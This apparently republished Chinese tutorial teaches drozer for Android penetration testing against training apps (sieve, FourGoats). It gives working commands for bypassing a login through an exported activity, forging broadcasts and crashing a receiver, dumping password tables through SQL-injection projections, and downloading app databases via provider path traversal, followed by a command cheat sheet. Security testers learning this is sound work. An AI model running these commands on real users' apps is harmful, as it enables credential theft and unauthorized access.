5.移动渗透测试工具之drozer

摘要:
本篇博文主要来介绍drozer在移动渗透中的作用本次实验环境所用工具为:夜神模拟器,drozer-2.3.4,sieve.apk,adbdrozer安装这里不再多嘴,给出链接:https://www.cnblogs.com/JDragons/p/5596258.htmladb作为移动与pc的调试桥,我这里也已经安装完成。1.安装agent.apk在模拟器中运行drozer,并打开EmbbddedS

5.移动渗透测试工具之drozer第1张

本篇博文主要来介绍drozer在移动渗透中的作用

本次实验环境所用工具为:夜神模拟器,drozer-2.3.4,sieve.apk,adb

drozer安装这里不再多嘴,给出链接:https://www.cnblogs.com/JDragons/p/5596258.html

adb作为移动与pc的调试桥,我这里也已经安装完成。

1.安装agent.apk

在模拟器中运行drozer,并打开Embbdded Server

5.移动渗透测试工具之drozer第2张

2.开启一个对话

pc上,由于我使用的是夜神模拟器,端口是62001,需要先连接夜神模拟器,并且把drozer的31415端口进行转发,cd到drozer安装目录下,进入drozer控制台:

5.移动渗透测试工具之drozer第3张

3.列出功能模块

使用命令:dz > list列出drozer所有功能模块:

dz>list
app.activity.forintent             Find activities that can handle the given intent
app.activity.info                  Gets information about exported activities.
app.activity.start                 Start an Activity
app.broadcast.info                 Get information about broadcast receivers
app.broadcast.send                 Send broadcast usingan intent
app.broadcast.sniff                Register a broadcast receiver that can sniff particular intents
app.package.attacksurface          Get attack surface of package
app.package.backup                 Lists packages that use the backup API (returns trueon
                                   FLAG_ALLOW_BACKUP)
app.package.debuggable             Find debuggable packages
app.package.info                   Get information about installed packages
app.package.launchintent           Get launch intent of package
app.package.list                   List Packages
app.package.manifest               Get AndroidManifest.xml of package
app.package.native                 Find Native libraries embedded inthe application.
app.package.shareduid              Look forpackages with shared UIDs
app.provider.columns               List columns incontent provider
app.provider.delete                Delete froma content provider
app.provider.download              Download a file froma content provider that supports files
app.provider.finduri               Find referenced content URIs ina package
app.provider.info                  Get information about exported content providers
app.provider.insert                Insert into a Content Provider
app.provider.query                 Query a content provider
app.provider.read                  Read froma content provider that supports files
app.provider.update                Update a record ina content provider
app.service.info                   Get information about exported services
app.service.send                   Send a Message to a service, and display the reply
app.service.start                  Start Service
app.service.stop                   Stop Service
auxiliary.webcontentresolver       Start a web service interfaceto content providers.
exploit.jdwp.check                 Open @jdwp-control and see which apps connect
exploit.pilfer.general.apnprovider
                                   Reads APN content provider
exploit.pilfer.general.settingsprovider
                                   Reads Settings content provider
information.datetime               Print Date/Time
information.deviceinfo             Get verbose device information
information.permissions            Get a list of all permissions used by packages on the device
scanner.activity.browsable         Get all BROWSABLE activities that can be invoked fromthe web
                                   browser
scanner.misc.native                Find native components included inpackages
scanner.misc.readablefiles         Find world-readable files inthe given folder
scanner.misc.secretcodes           Search for secret codes that can be used fromthe dialer
scanner.misc.sflagbinaries         Find suid/sgid binaries in the given folder (default is
                                   /system).
scanner.misc.writablefiles         Find world-writable files inthe given folder
scanner.provider.finduris          Search for content providers that can be queried fromour
                                   context.
scanner.provider.injection         Test content providers forSQL injection vulnerabilities.
scanner.provider.sqltables         Find tables accessible through SQL injection vulnerabilities.
scanner.provider.traversal         Test content providers forbasic directory traversal
                                   vulnerabilities.
shell.exec                         Execute a single Linux command.
shell.send                         Send an ASH shell to a remote listener.
shell.start                        Enter into an interactive Linux shell.
tools.file.download                Download a File
tools.file.md5sum                  Get md5 Checksum of file
tools.file.size                    Get size of file
tools.file.upload                  Upload a File
tools.setup.busybox                Install Busybox.
tools.setup.minimalsu              Prepare 'minimal-su' binary installation on the device.

4.检索包信息:

输入命令:run app.package.list -f<app name> 搜索app所使用的包名:

5.移动渗透测试工具之drozer第4张

输入命令:run app.package.info -a <package name> 查看app包的信息:

5.移动渗透测试工具之drozer第5张

5.查看app可被攻击点

输入命令:run app.package.attacksurface <package name>

5.移动渗透测试工具之drozer第6张

6.利用drozer渗透activity组件

这里检测出来的是四大组件的威胁,先来介绍activity组件:

应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 
Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。

通过上面的检测发现activity存在问题,用jadx-gui打开sieve.apk,来看AndroidManifest.xml文件:

5.移动渗透测试工具之drozer第7张

可以看到在activity组件中,android.exported="true",说明组件可被导出,存在信息泄露的风险

输入命令:run app.activity.info -a <package name> 查看对外的activity组件信息:

5.移动渗透测试工具之drozer第8张

输入命令:run app.activity.start --component <package name> <component name> 来绕过登陆页面,直接进入到后台,存在越权:

正常打开app需要输入密码:

5.移动渗透测试工具之drozer第9张

运行命令绕过:

5.移动渗透测试工具之drozer第10张

7.利用drozer渗透broadcase组件

先来介绍一下broadcast组件:

BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)
进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用
NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在
状态栏上放一个持久的图标,用户可以打开它并获取消息。

由于sieve.apk不存在此方面漏洞,下面使用fourgoats.apk来测试:

输入命令:run app.broadcast.info -a <package name> 测试对外的broadcast组件信息:

5.移动渗透测试工具之drozer第11张

查看反编译出来的AndroidManifest.xml文件,可以看到receiver的exported未设置,说明存在越权漏洞,可发恶意广播,伪造信息等。

5.移动渗透测试工具之drozer第12张

通过图片我们知道<action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS"/>

发送恶意广播

(空extars)输入命令:run app.broadcast.send --component <package name> <component name> --action <action> --extra <type> <key> <value> 发送恶意广播:

5.移动渗透测试工具之drozer第13张

拒绝服务攻击

输入命令:run app.broadcast.send --action <action> 向广播组件发送不完整intent使用空extras,可以看到应用停止运行:

5.移动渗透测试工具之drozer第14张

8.利用drozer渗透service组件

先来介绍一下service组件:

一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是
一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用
者可以选择歌曲并播放歌曲。 然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播
放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从
而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。 另外,我们还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还
没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播
放器这个例子来说,我们还可以进行暂停、重播等操作。 intent
-filter未将exported设置为false,默认是
可以导出的

我们继续使用sieve.apk进行实践测试,先来看AndroidManifest.xml文件:
5.移动渗透测试工具之drozer第15张

可以看到 android:exported="true" 服务可被导出.

使用命令:run app.service.info -a <package name> 获取对外组件信息:

5.移动渗透测试工具之drozer第16张

使用命令:run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj 向某个服务发送信息:

5.移动渗透测试工具之drozer第17张

9.利用drozer渗透content provider组件

android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储
在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该
内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。

先来看AndroidManifest.xml文件里面的provider组件:

5.移动渗透测试工具之drozer第18张

由于敏感组件可导出,存在敏感信息泄露。并且没有对Content Query Uri进行有效判断或者过滤,可能存在provider文件目录遍历

使用命令:run app.provider.info -a <package name> 查看对外的provider组件信息:

5.移动渗透测试工具之drozer第19张

信息泄露:

使用命令:run scanner.provider.finduris -a <package name> 扫描并获取Content provider信息,并列出可访问内容URL的列表和路径:

5.移动渗透测试工具之drozer第20张

使用命令:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ 查询或修改数据库中的数据,发现存在数据泄露问题,访问url可看到一些敏感信息:

5.移动渗透测试工具之drozer第21张

SQL注入漏洞

使用以下命令测试发现爆错,说明存在SQL注入漏洞:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'"

5.移动渗透测试工具之drozer第22张

获取数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

5.移动渗透测试工具之drozer第23张

列出所有表信息:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

5.移动渗透测试工具之drozer第24张

获取表信息:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

5.移动渗透测试工具之drozer第25张

同时也可以使用扫描功能对该app注入点位置进行扫描:
run scanner.provider.injection -a com.mwr.example.sieve

5.移动渗透测试工具之drozer第26张

列出该app的表信息:

run scanner.provider.sqltables -a com.mwr.example.sieve

5.移动渗透测试工具之drozer第27张

底层文件系统的读取与写入(有可能被阻止)

文件读取:

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

5.移动渗透测试工具之drozer第28张

文件下载:

下载数据库文件到本地

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db

5.移动渗透测试工具之drozer第29张

目录遍历漏洞:

run scanner.provider.traversal -a com.mwr.example.sieve

5.移动渗透测试工具之drozer第30张

对常用命令进行总结:

1.连接drozer:
drozer.bat console connect

2.列出详细APP信息:
run app.package.info -a com.xxx.xxxx

3.查看APP的配置信息
run app.package.manifest com.xxx.xxxx

3.分析是否存在攻击攻击点
run app.package.attacksurface com.xxx.xxxx

4.查看暴露的provider权限
run app.provider.info -a com.xxx.xxxx

5.获取Activity信息
命令 run app.activity.info -a
示例 run app.activity.info -a com.xxx.xxxx

6.检测SQL注入
命令 run scanner.provider.injection -a
示例 run scanner.provider.injection -a com.xxx.xxxx

7.检测目录遍历
命令 run scanner.provider.traversal -a
示例 run scanner.provider.traversal -a com.xxx.xxxx

8.获取所有可访问的Uri
命令 run scanner.provider.finduris -a
示例 run scanner.provider.finduris -a com.xxx.xxxx

9.SQL注入
命令 run app.provider.query [--projection] [--selection]
示例 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

列出所有表 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取单表(如Key)的数据 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

10.读取文件系统下的文件
示例 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

11.下载数据库文件到本地
示例 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db

> list  //列出目前可用的模块,也可以使用ls
> help app.activity.forintent       //查看指定模块的帮助信息
> run app.package.list      //列出android设备中安装的app
> run app.package.info -a com.android.browser       //查看指定app的基本信息
> run app.activity.info -a com.android.browser      //列出app中的activity组件
> run app.activity.start --action android.intent.action.VIEW --data-uri  http://www.google.com  //开启一个activity,例如运行浏览器打开谷歌页面
> run scanner.provider.finduris -a com.sina.weibo       //查找可以读取的Content Provider
> run  app.provider.query content://settings/secure --selection "name='adb_enabled'"    //读取指定Content Provider内容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo     //列出指定文件路径里全局可写/可读的文件
> run shell.start       //shell操作
> run tools.setup.busybox       //安装busybox
> list auxiliary        //通过web的方式查看content provider组件的相关内容
> help auxiliary.webcontentresolver     //webcontentresolver帮助
> run auxiliary.webcontentresolver      //执行在浏览器中以http://localhost:8080即可访问

以sieve示例 > run app.package.list -f sieve //查找sieve应用程序 > run app.package.info -a com.mwr.example.sieve //显示app.package.info命令包的基本信息 > run app.package.attacksurface com.mwr.example.sieve //确定攻击面 > run app.activity.info -a com.mwr.example.sieve //获取activity信息 > run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist > run app.provider.info -a com.mwr.example.sieve //提供商信息 > run scanner.provider.finduris -a com.mwr.example.sieve //扫描所有能访问地址 > run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords这条可执行地址 > run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //检测注入 > run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看读权限数据 > run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据 > run scanner.provider.injection -a com.mwr.example.sieve //扫描注入地址 > run scanner.provider.traversal -a com.mwr.example.sieve > run app.service.info -a com.mwr.example.sieve //查看服务

5.移动渗透测试工具之drozer第31张

参考链接:

这里只是抛砖引玉,更多drozer使用方法可参阅官方指南(英文): https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf

https://www.jianshu.com/p/dfa92bab3a55

免责声明:文章转载自《5.移动渗透测试工具之drozer》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇码元、符号、波特率、比特率等概念的了解解决URL中文乱码问题--对中文进行加密、解密处理下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

win10 设置软件开机启动项失效

问题重现: win10系统,只要是图标右下角带盾牌标志的软件,加入系统的启动文件夹:如:C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp 里面,每次开机后都会启动失败! 据说这个是win10出于系统安全考虑,加入了UAC,对系统管理员权限做了限制,相关文章:http://it.oyksoft.co...

体验评价--微软输入法

我当前使用的输入法是win8自带的微软输入法,使用了将近三年了,对这款输入法也有了自己的用户体验,下面我就这款输入法,做出我的体验评价。 一、用户界面 虽然微软输入法的界面非常朴素,但是符合我的品味,我在这类常用软件上追求的是功能齐全,界面简洁,不许要太花里胡哨,该有的都有,不该有的没必要有,因此在用户界面上我还是很满意的,给个9分吧。 二、记住用户选择...

软件需求分析—消息管理

软件简介:该软件主要为大学生提供一个寻找丢失物品的平台,帮助丢失物品者或者捡到物品者找到相应的物品或者失主。 N(need)需求:对于这样一个寻找丢失物品的平台,对于后台数据库消息的管理是非常重要的,要将丢失物品者和捡到物品者的消息有条理的保存,并且要对垃圾消息及时的处理。 A(approach)做法:消息管理主要体现在后台的数据库的管理上,实现上应该在用...

ios真机调试时需要添加的UDID是什么?怎么获取?

很多开发者在真机调试测试ios应用时,会看到需要添加udid,搞不清这个是什么东西应该怎么获取。 udid就是手机的一个串号,相当于手机的身份证,具有唯一性。 下面介绍如何获取udid并添加到开发者中心后台。 有两种方式可以获取udid ios app真机调试到上架App Store完整教程 1、苹果手机助手获取UDID 如爱思助手,电脑下载爱思助手...

使用Apple Configurator 2提取商店ipa or app文件

之前我们可以通过iTunes来提取商店的ipa文件, 但12.+版本以后这个功能就被拿掉了 目前可以借用Apple Configurator 2工具来实现 安装: 可以直接在App Store搜索安装 使用: 打开后可以看到已经连接的手机 选择一台已经安装过想要获取ipa软件的手机 进入手机详情界面后点击添加, 选择app 在弹出的搜索框中输入想要提...

adb shell am 的用法

adb shell am 的功能   adb shell am 使用此命令可以从cmd控制台启动 activity, services;发送 broadcast等等:   C:UsersAdministrator>adb shell amusage: am [subcommand] [options]    start an Activity:...